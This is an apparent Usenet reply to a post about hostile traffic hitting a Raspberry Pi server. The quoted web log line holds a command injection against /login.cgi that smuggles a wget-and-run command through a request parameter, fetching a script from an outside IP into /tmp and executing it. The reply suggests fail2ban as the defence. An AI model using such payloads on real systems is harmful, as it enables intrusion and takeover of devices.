Jan Panteltje wrote:

> I have been watching traffic for a while now to the raspi server after I
> posted the link, and see Russian and other countries hackers trying
> things, looking for a way to cause havoc: 31.207.194.8 - -
> [21/Jun/2018:10:45:37 +0200] "GET
>
/login.cgi?cli=aa%20aa%27;wget%20http://185.62.190.191/r%20-O%20-%3E%20/tmp/r;s
h%20/tmp/r%27$
> HTTP/1.1" 404 499 "-" "Hello, World"

This is what fail2ban was made for.

No need to fiddle with iptables.

--- SoupGate-Win32 v1.05